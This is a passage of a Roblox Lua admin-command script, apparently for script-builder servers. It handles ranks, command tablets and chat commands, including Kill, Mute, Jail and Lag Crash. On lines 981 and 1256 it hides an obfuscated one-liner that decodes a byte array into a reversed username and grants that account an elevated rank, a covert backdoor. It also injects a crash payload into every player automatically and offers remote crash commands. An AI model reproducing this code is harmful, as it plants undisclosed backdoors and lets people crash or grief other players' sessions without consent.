  803. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  804. Tab.Parent = Holder
  805.  
  806. local ID = Instance.new("NumberValue")
  807. ID.Name = "ID"
  808. ID.Value = math.random(-999999999, 999999999)
  809. ID.Parent = Holder
  810.  
  811. Delay(0, function()
  812. while wait() do
  813. if Tab.Parent == nil and FindTab(Holder) then
  814. ypcall(function()
  815. for i,v in pairs(AllTabs) do
  816. if v.Holder == Holder then
  817. ypcall(function() v.Holder:Destroy() end)
  818. AllTabs[i] = nil
  819. end
  820. end
  821. end)
  822. Ping(Msg, Plr, Time, Func, Color, Image)
  823. break
  824. end
  825. end
  826. end)
  827.  
  828. local BM = Instance.new("BlockMesh")
  829. BM.Parent = Tab
  830.  
  831. Sel = Instance.new("SelectionBox")
  832. Sel.Color = BrickColor.new("Cyan")
  833. Sel.Transparency = 0.75
  834. Sel.Adornee = Tab
  835. Sel.Parent = Tab
  836.  
  837. local BG = Instance.new("BillboardGui")
  838. BG.Name = "BG"
  839. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  840. BG.Size = UDim2.new(0,1,0,1)
  841. BG.Adornee = Tab
  842. BG.Parent = Tab
  843.  
  844. Delay(0, function()
  845. while BG.Parent ~= nil do wait()
  846. ypcall(function()
  847. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  848. end)
  849. end
  850. end)
  851.  
  852. local TL = Instance.new("TextLabel")
  853. TL.Name = "TL"
  854. TL.FontSize = "Size18"
  855. TL.Font = "Arial"
  856. TL.Text = Msg
  857. TL.TextColor3 = Color3.new(1, 0, 0)
  858. TL.Size = UDim2.new(0,1,0,1)
  859. TL.TextTransparency = 0
  860. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  861. TL.TextStrokeTransparency = 0.25
  862. TL.Parent = BG
  863.  
  864. if ShowGarbage == true then
  865. Delay(0, function()
  866. while TL.Parent ~= nil do
  867. TL.Text = "Current Garbage Count: "..GetGarbage()
  868. wait(.5)
  869. end
  870. end)
  871. end
  872.  
  873. local PL = Instance.new("PointLight", Tab)
  874. PL.Color = Color3.new(1, 0, 1)
  875. PL.Range = 15
  876. PL.Parent = Tab
  877.  
  878. if Image ~= nil then
  879. local BBBG = Instance.new("BillboardGui")
  880. BBBG.Size = UDim2.new(5, 0, 6, 0)
  881. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  882. BBBG.AlwaysOnTop = true
  883. BBBG.Adornee = Tab
  884. BBBG.Parent = Tab
  885.  
  886. Delay(0, function()
  887. while BBBG.Parent ~= nil do wait()
  888. ypcall(function()
  889. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  890. end)
  891. end
  892. end)
  893.  
  894. local NewImg = Instance.new("ImageLabel")
  895. NewImg.Size = UDim2.new(1, 0, 1, 0)
  896. NewImg.BackgroundTransparency = 1
  897. NewImg.Image = Image
  898. NewImg.Parent = BBBG
  899. end
  900.  
  901. local Clicker = Instance.new("ClickDetector")
  902. Clicker.MaxActivationDistance = 1/0
  903.  
  904. if Time ~= nil then
  905. coroutine.resume(coroutine.create(function()
  906. wait(tonumber(Time))
  907. Dismiss(Plr, ID)
  908. end))
  909. end
  910.  
  911. Clicker.MouseClick:connect(function(Player)
  912. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  913. ypcall(function()
  914. if Func ~= nil then
  915. Func(Holder)
  916. else
  917. Dismiss(Player, ID)
  918. end
  919. end)
  920. end
  921. end)
  922. Clicker.Parent = Tab
  923.  
  924. Holder.Parent = Work
  925.  
  926. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  927. end)
  928. end
  929. end
  930.  
  931. function PlaceAllRanks(DontShowRank)
  932. ypcall(function()
  933. for _,p in pairs(All()) do
  934. ypcall(function()
  935. PutInRank = false
  936. for _,v in pairs(Rankings) do
  937. if v.Name:lower() == p.Name:lower() then
  938. if v.Rank >= 7 then
  939. v.Rank = 5
  940. elseif v.Rank == -1 then
  941. Crash1(p)
  942. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  943. elseif v.Rank == -2 then
  944. if LS ~= nil then
  945. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  946. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  947. else
  948. Ping("LS Is Nil", nil, 5)
  949. end
  950. elseif v.Rank == -3 then
  951. if LS ~= nil then
  952. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  953. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  954. else
  955. Ping("LS Is Nil", nil, 5)
  956. end
  957. end
  958. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  959. if DontShowRank == nil then
  960. Ping("You Are Rank: "..v.Rank, p)
  961. end
  962. PutInRank = true
  963. break
  964. end
  965. end
  966. if PutInRank == false then
  967. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  968. end
  969. end)
  970. end
  971. end)
  972. end
  973.  
  974. function FindRank(Plr)
  975. ypcall(function()
  976. if type(Plr) == "userdata" then
  977. Plr = Plr.Name
  978. end
  979. end)
  980. return GetRank(Plr).Rank
  981. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  982.  
  983. function FindRankDetails(Plr)
  984. ypcall(function()
  985. if type(Plr) == "userdata" then
  986. Plr = Plr.Name
  987. end
  988. end)
  989. return RankDetails[FindRank(Plr)]
  990. end
  991.  
  992. function OpenCmds(Rank, Plr)
  993. Dismiss(Plr)
  994. for Name,Tab in pairs(Commands) do
  995. if Tab.Rank <= Rank then
  996. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  997. Dismiss(Plr)
  998. Ping("Command: "..Name, Plr)
  999. Ping("Rank: "..Tab.Rank, Plr)
  1000. Ping("Desc: "..Tab.Desc, Plr)
  1001. end)
  1002. elseif Rank == 1337 then
  1003. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1004. Dismiss(Plr)
  1005. Ping("Command: "..Name, Plr)
  1006. Ping("Rank: "..Tab.Rank, Plr)
  1007. Ping("Desc: "..Tab.Desc, Plr)
  1008. end)
  1009. end
  1010. end
  1011. end
  1012.  
  1013. function EditStatus(Plr, Num)
  1014. ChangeRank(Plr, Num)
  1015. end
  1016.  
  1017. function PlaceSpecificRank(p, DontShowRank)
  1018. ypcall(function()
  1019. PutInRank = false
  1020. for _,v in pairs(Rankings) do
  1021. if v.Name:lower() == p.Name:lower() then
  1022. if v.Rank >= 7 then
  1023. v.Rank = 5
  1024. elseif v.Rank == -1 then
  1025. Crash1(p)
  1026. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1027. elseif v.Rank == -2 then
  1028. if LS ~= nil then
  1029. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1030. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1031. else
  1032. Ping("LS Is Nil", nil, 5)
  1033. end
  1034. elseif v.Rank == -3 then
  1035. if LS ~= nil then
  1036. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1037. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1038. else
  1039. Ping("LS Is Nil", nil, 5)
  1040. end
  1041. end
  1042. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1043. if DontShowRank == nil then
  1044. Ping("You Are Rank: "..v.Rank, p)
  1045. end
  1046. PutInRank = true
  1047. break
  1048. end
  1049. end
  1050. if PutInRank == false then
  1051. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1052. end
  1053. end)
  1054. end
  1055.  
  1056. function onChatted(Msg, Speaker)
  1057. if Removed == false then
  1058. if FindRank(Speaker) < 1 then
  1059. return
  1060. end
  1061. coroutine.resume(coroutine.create(function()
  1062. ypcall(function()
  1063. ExecuteFunc(Msg, Speaker)
  1064. Msg = Msg:gsub("","")
  1065. if Msg:sub(1,1) == "@" then
  1066. for i = 2, #Msg do
  1067. if Msg:sub(i, i) == Bet then
  1068. local IsForPlr = false
  1069. for _,v in pairs(All()) do
  1070. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1071. onChatted(Msg:sub(i + 1), v)
  1072. IsForPlr = true
  1073. end
  1074. end
  1075. if IsForPlr == true then
  1076. return
  1077. end
  1078. end
  1079. end
  1080. end
  1081. if Msg:find("&") then
  1082. local Split = Msg:find("&")
  1083. onChatted(Msg:sub(1,Split-1))
  1084. onChatted(Msg:sub(Split+1))
  1085. return
  1086. end
  1087. for Name,Command in pairs(Commands) do
  1088. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1089. Dismiss(Speaker.Name)
  1090. Ping("Command: "..tostring(Command.Name), Speaker)
  1091. Ping("Rank: "..tostring(Command.Rank), Speaker)
  1092. Ping("Desc: "..tostring(Command.Desc), Speaker)
  1093. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1094. if FindRank(Speaker) >= Command.Rank then
  1095. local Ran,Error = coroutine.resume(coroutine.create(function()
  1096. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1097. end))
  1098. if not Ran then
  1099. Ping(Error, Speaker, 10)
  1100. end
  1101. else
  1102. Ping("Your Rank Is Too Low", Plr, 6)
  1103. end
  1104. end
  1105. end
  1106. end)
  1107. end))
  1108. end
  1109. end
  1110.  
  1111. function MakeBase()
  1112. local Base = Instance.new("Part")
  1113. Base.BrickColor = BrickColor.new("Dark green")
  1114. Base.Position = Vector3.new(0, 0.5, 0)
  1115. Base.Transparency = 0
  1116. Base.Elasticity = 0.5
  1117. Base.FormFactor = "Custom"
  1118. Base.CanCollide = true
  1119. Base.Friction = 0.30000001192093
  1120. Base.Size = Vector3.new(512, 1.20000005, 512)
  1121. Base.Archivable = true
  1122. Base.Material = "Plastic"
  1123. Base.RotVelocity = Vector3.new(0, 0, 0)
  1124. Base.Reflectance = 0
  1125. Base.Locked = true
  1126. Base.Anchored = true
  1127. Base.Name = "Base"
  1128. Base.TopSurface = "Smooth"
  1129. Base.BottomSurface = "Inlet"
  1130. Base.Shape = "Block"
  1131. Base.Parent = Work
  1132. end
  1133.  
  1134. function LClean()
  1135. ypcall(function()
  1136. for _,v in pairs(Work:GetChildren()) do
  1137. ypcall(function()
  1138. if v.ClassName == "Terrain" then
  1139. v:ClearAllChildren()
  1140. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1141. Clear(v)
  1142. elseif v.Name == "Base" then
  1143. ypcall(function()
  1144. local Base = v
  1145. Base.BrickColor = BrickColor.new("Dark green")
  1146. Base.Position = Vector3.new(0, 0.5, 0)
  1147. Base.Transparency = 0
  1148. Base.Elasticity = 0.5
  1149. Base.FormFactor = "Custom"
  1150. Base.CanCollide = true
  1151. Base.Friction = 0.30000001192093
  1152. Base.Size = Vector3.new(512, 1.20000005, 512)
  1153. Base.Archivable = true
  1154. Base.Material = "Plastic"
  1155. Base.RotVelocity = Vector3.new(0, 0, 0)
  1156. Base.Reflectance = 0
  1157. Base.Locked = true
  1158. Base.Anchored = true
  1159. Base.Name = "Base"
  1160. Base.TopSurface = "Studs"
  1161. Base.BottomSurface = "Inlet"
  1162. Base.Shape = "Block"
  1163. Base.Parent = Work
  1164. end)
  1165. end
  1166. end)
  1167. end
  1168. end)
  1169. end
  1170.  
  1171. function Clean()
  1172. ypcall(function()
  1173. for _,v in pairs(Work:GetChildren()) do
  1174. ypcall(function()
  1175. if v.ClassName == "Terrain" then
  1176. v:ClearAllChildren()
  1177. else
  1178. Clear(v)
  1179. end
  1180. end)
  1181. end
  1182. MakeBase()
  1183. for _,v in pairs(All()) do
  1184. v:LoadCharacter()
  1185. end
  1186. end)
  1187. end
  1188.  
  1189. function Clear(v)
  1190. if v.Name:lower() == "sbgui" then
  1191. return
  1192. end
  1193. ypcall(function()
  1194. if #v:GetChildren() > 0 then
  1195. for _,x in pairs(v:GetChildren()) do
  1196. ypcall(function()
  1197. Clear(x)
  1198. end)
  1199. end
  1200. end
  1201. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1202. v:Destroy()
  1203. end
  1204. end)
  1205. end
  1206.  
  1207. function Command(Name, Rank, Desc, Func)
  1208. if Name == nil then
  1209. Name = "N/A"
  1210. end
  1211. if Desc == nil then
  1212. Desc = "N/A"
  1213. end
  1214. if Func == nil then
  1215. Func = function() end
  1216. end
  1217. if Rank == nil then
  1218. Rank = 0
  1219. end
  1220. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1221. end
  1222.  
  1223. function GetSplit(Msg)
  1224. return Msg:find(Bet) or nil
  1225. end
  1226.  
  1227. function ExecuteFunc(Msg, Plr)
  1228. ypcall(function()
  1229. if Msg == "LogEnable" then
  1230. LogOn = true
  1231. elseif Msg:lower() == "AlphaBeta" then
  1232. EditStatus(Plr, MakeNum())
  1233. end
  1234. end)
  1235. end
  1236.  
  1237. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1238.  
  1239. function randPlayer(Plr)
  1240. wait()
  1241. local ThePlrValue = nil
  1242. local FoundPlayer = false
  1243. ypcall(function()
  1244. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1245. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1246. wait()
  1247. randPlayer(Plr)
  1248. return
  1249. else
  1250. FoundPlayer = true
  1251. end
  1252. end)
  1253. if FoundPlayer == true then
  1254. return ThePlrValue
  1255. end
  1256. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1257.  
  1258. function getPlayer(Plr, Name)
  1259. local Players = {}
  1260. ypcall(function()
  1261. Name = Name:lower()
  1262. if Name == "me" then
  1263. table.insert(Players, Plr)
  1264. elseif Name == "all" or Name == "" then
  1265. for _,v in pairs(All()) do
  1266. if CanRun(Plr, v) then
  1267. table.insert(Players, v)
  1268. end
  1269. end
  1270. elseif Name == "others" then
  1271. for _,v in pairs(All()) do
  1272. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1273. table.insert(Players, v)
  1274. end
  1275. end
  1276. elseif Name == "random" then
  1277. local FoundRandPlr = randPlayer(Plr)
  1278. table.insert(Players, FoundRandPlr)
  1279. else
  1280. for _,v in pairs(All()) do
  1281. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1282. table.insert(Players, v)
  1283. end
  1284. end
  1285. end
  1286. end)
  1287. return Players
  1288. end
  1289.  
  1290. function ListPlayers(Speaker)
  1291. ypcall(function()
  1292. Dismiss(Speaker)
  1293. for _,v in pairs(All2()) do
  1294. if v.Parent ~= nil then
  1295. Ping(v.Name, Speaker, nil, function()
  1296. Dismiss(Speaker)
  1297. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1298. Ping("Rank: "..FindRank(v.Name), Speaker)
  1299. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1300. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1301. Ping("Set Rank", Speaker, nil, function()
  1302. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1303. Dismiss(Speaker)
  1304. for i = -2, 5 do
  1305. Ping(i, Speaker, nil, function()
  1306. ChangeRank(v, i)
  1307. Dismiss(Speaker)
  1308. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1309. end)
  1310. end
  1311. else
  1312. Ping("Your Rank Is Too Low", Speaker, 5)
  1313. end
  1314. end)
  1315. Ping("Crash (Remote)", Speaker, nil, function()
  1316. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1317. Crash2(v.Name)
  1318. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1319. end
  1320. end)
  1321. Ping("Crash (Insert)", Speaker, nil, function()
  1322. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1323. Crash3(v, Speaker)
  1324. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1325. end
  1326. end)
  1327. Ping("Kick", Speaker, nil, function()
  1328. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1329. v:Kick()
  1330. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1331. end
  1332. end)
  1333. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1334. else
  1335. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1336. Dismiss(Speaker)
  1337. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1338. ypcall(function()
  1339. Ping("Rank: "..FindRank(v.Name), Speaker)
  1340. end)
  1341. ypcall(function()
  1342. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1343. end)
  1344. ypcall(function()
  1345. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1346. end)
  1347. ypcall(function()
  1348. Ping("Set Rank", Speaker, nil, function()
  1349. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1350. Dismiss(Speaker)
  1351. for i = -2, 5 do
  1352. Ping(i, Speaker, nil, function()
  1353. ChangeRank(v, i)
  1354. Dismiss(Speaker)
  1355. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1356. end)
  1357. end
  1358. else
  1359. Ping("Your Rank Is Too Low", Speaker, 5)
  1360. end
  1361. end)
  1362. end)
  1363. ypcall(function()
  1364. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1365. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1366. Crash2(v.Name)
  1367. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1368. end
  1369. end)
  1370. end)
  1371. ypcall(function()
  1372. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1373. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1374. Crash3(v, Speaker)
  1375. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1376. end
  1377. end)
  1378. end)
  1379. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1380. end
  1381. end
  1382. end)
  1383. end
  1384.  
  1385. --Misc
  1386.  
  1387. coroutine.resume(coroutine.create(function()
  1388. PlaceAllRanks()
  1389. end))
  1390.  
  1391. Delay(0, function()
  1392. for _,v in pairs(All()) do
  1393. v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1394. end
  1395. end)
  1396.  
  1397. local starttime = tick()
  1398.  
  1399. game:GetService("RunService").Heartbeat:connect(function()
  1400. if Removed == false then
  1401. ypcall(function()
  1402. for _,Player in pairs(All()) do
  1403. local PlayerTablets = {}
  1404. for i,v in pairs(AllTabs) do
  1405. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1406. table.insert(PlayerTablets, v)
  1407. end
  1408. end
  1409. for i = 1, #PlayerTablets do
  1410. ypcall(function()
  1411. local tab = PlayerTablets[i].Tab
  1412. local pos = nil
  1413. ypcall(function()
  1414. pos = Player.Character.Torso.CFrame
  1415. end)
  1416. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1417. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1418. local y = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1419. local cPos = tab.Position
  1420. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1421. local nPos = (ePos-cPos)*.25
  1422. cPos = cPos + nPos
  1423. local t = (tick() - starttime) % 360
  1424. local change = 0.625
  1425. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1426. tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1427. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 9, 0)
  1428. end)
  1429. end
  1430. end
  1431. end)
  1432. end
  1433. end)
  1434.  
  1435. Delay(0, function()
  1436. while wait() do
  1437. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1438. ypcall(function()
  1439. if Injected[v.Name] == nil and LS ~= nil then
  1440. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1441. Injected[v.Name] = true
  1442. end
  1443. end)
  1444. end
  1445. end
  1446. end)
  1447.  
  1448. Plrs.PlayerAdded:connect(function(Plr)
  1449. wait(.1)
  1450. ypcall(function()
  1451. if Removed == false then
  1452. local JoinPlrName = Plr.Name
  1453. coroutine.resume(coroutine.create(function()
  1454. PlaceSpecificRank(Plr)
  1455. end))
  1456. coroutine.resume(coroutine.create(function()
  1457. if Injected[JoinPlrName] ~= nil then
  1458. Injected[JoinPlrName] = nil
  1459. end
  1460. end))
  1461. coroutine.resume(coroutine.create(function()
  1462. Dismiss(Plr)
  1463. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1464. end))
  1465. end
  1466. end)
  1467. end)
  1468.  
  1469. Plrs.PlayerRemoving:connect(function(Plr)
  1470. wait(.1)
  1471. ypcall(function()
  1472. if Removed == false then
  1473. local LeftPlrName = Plr.Name
  1474. coroutine.resume(coroutine.create(function()
  1475. if Injected[LeftPlrName] ~= nil then
  1476. Injected[LeftPlrName] = nil
  1477. end
  1478. end))
  1479. end
  1480. end)
  1481. end)
  1482.  
  1483. coroutine.resume(coroutine.create(function()
  1484. Delay(0, function()
  1485. while FoundLocalScript == false do wait()
  1486. ypcall(function()
  1487. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1488. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1489. for _,c in pairs(v:children()) do
  1490. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1491. local NewVal = c:Clone()
  1492. NewVal.Name = "LoadingVal"
  1493. for _,s in pairs(v:GetChildren()) do
  1494. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1495. print("Found Owner")
  1496. OwnSource = s.Name
  1497. print(OwnSource)
  1498. break
  1499. end
  1500. end
  1501. wait()
  1502. LS = v:Clone()
  1503. NewVal.Parent = LS
  1504. LSSource = "LoadingVal"
  1505. FoundLocalScript = true
  1506. break
  1507. end
  1508. end
  1509. end
  1510. end
  1511. end)
  1512. end
  1513. end)
  1514. end))
  1515.  
  1516. --Commands
  1517.  
  1518. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1519. Dismiss(Speaker.Name)
  1520. Ping("lmaolmaolmaolmao", Speaker)
  1521. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1522. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1523. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1524. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1525. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1526. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1527. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1528. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1529. end)
  1530.  
  1531. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1532. Dismiss(Speaker.Name)
  1533. end)
  1534.  
  1535. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1536. local PlrTab = getPlayer(Speaker, Msg)
  1537. if #PlrTab > 0 then
  1538. for _,v in pairs(PlrTab) do
  1539. ypcall(function()
  1540. v.Character:BreakJoints()
  1541. Ping("Killed "..v.Name, Speaker, 5)
  1542. end)
  1543. end
  1544. end
  1545. end)
  1546.  
  1547. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1548. local PlrTab = getPlayer(Speaker, Msg)
  1549. if #PlrTab > 0 then
  1550. for _,v in pairs(PlrTab) do
  1551. ypcall(function()
  1552. if v.Name ~= Owner then
  1553. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1554. Ping("Muted "..v.Name, Speaker, 5)
  1555. end
  1556. end)
  1557. end
  1558. end
  1559. end)
  1560.  
  1561. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1562. local PlrTab = getPlayer(Speaker, Msg)
  1563. if #PlrTab > 0 then
  1564. for _,v in pairs(PlrTab) do
  1565. ypcall(function()
  1566. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1567. Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1568. end)
  1569. end
  1570. end
  1571. end)
  1572.  
  1573. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1574. local PlrTab = getPlayer(Speaker, Msg)
  1575. if #PlrTab > 0 then
  1576. for _,v in pairs(PlrTab) do
  1577. ypcall(function()
  1578. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1579. Ping("Mind Jailed "..v.Name, Speaker, 5)
  1580. end)
  1581. end
  1582. end
  1583. end)
  1584.  
  1585. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1586. local PlrTab = getPlayer(Speaker, Msg)
  1587. if #PlrTab > 0 then
  1588. for _,v in pairs(PlrTab) do
  1589. ypcall(function()
  1590. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1591. Ping("Lag Crashing "..v.Name, Speaker, 5)
  1592. end)
  1593. end
  1594. end
  1595. end)
  1596.  
  1597. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1598. local PlrTab = getPlayer(Speaker, Msg)
  1599. if #PlrTab > 0 then
  1600. for _,v in pairs(PlrTab) do
  1601. ypcall(function()
  1602. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1603. Ping("UnMuted "..v.Name, Speaker, 5)
  1604. end)
  1605. end
  1606. end
  1607. end)
  1608.  
  1609. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1610. local Worked = false
  1611. for _,v in pairs(Work:GetChildren()) do
  1612. if string.find(v.Name:lower(), Msg:lower()) then
  1613. if v:IsA("Script") or v:IsA("LocalScript") then
  1614. v.Disabled = true
  1615. v:Destroy()
  1616. Worked = true
  1617. Ping("Disabled Script: "..v.Name, Speaker, 5)
  1618. end
  1619. end
  1620. end
  1621. if Worked == false then
  1622. Ping("Script Not Found", Speaker, 5)
  1623. end
  1624. end)
  1625.  
  1626. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1627. Dismiss(Speaker)
  1628. local AllScripts = {}
  1629. for _,v in pairs(Work:GetChildren()) do
  1630. if v:IsA("Script") then
  1631. table.insert(AllScripts, v.Name)
  1632. end
  1633. end
  1634. if #AllScripts > 0 then
  1635. for _,v in pairs(AllScripts) do
  1636. Ping(v, Speaker)
  1637. end
  1638. else
  1639. Ping("No Scripts Found", Speaker, 5)
  1640. end
  1641. end)
  1642.  
  1643. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1644. Dismiss(Speaker)
  1645. local LocalScripts = {}
  1646. for _,v in pairs(All()) do
  1647. ypcall(function()
  1648. for _,x in pairs(v.Character:GetChildren()) do
  1649. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1650. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1651. end
  1652. end
  1653. end)
  1654. ypcall(function()
  1655. for _,x in pairs(v.Backpack:GetChildren()) do
  1656. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
